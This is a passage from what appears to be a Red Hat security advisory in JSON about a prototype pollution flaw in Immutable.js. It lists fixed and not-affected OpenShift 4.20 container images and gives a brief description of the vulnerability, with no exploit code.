"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2445291"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Immutable.js, a library for persistent immutable data structures. This vulnerability, known as Prototype Pollution, allows an attacker with low privileges to inject unwanted properties into core JavaScript object prototypes without user interaction. By manipulating specific APIs such as mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject(), a remote attacker could potentially execute arbitrary code or cause a denial of service (DoS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "immutable-js: Immutable.js: Arbitrary code execution via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Exploitation of this vulnerability requires that an attacker is able to provide arbitrary data to clients of this library in a way that calls the affected functions with data the attacker controls. In most deployments, the ability to provide data in this fashion requires that an attacker has some degree of privileges to access the affected applications.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
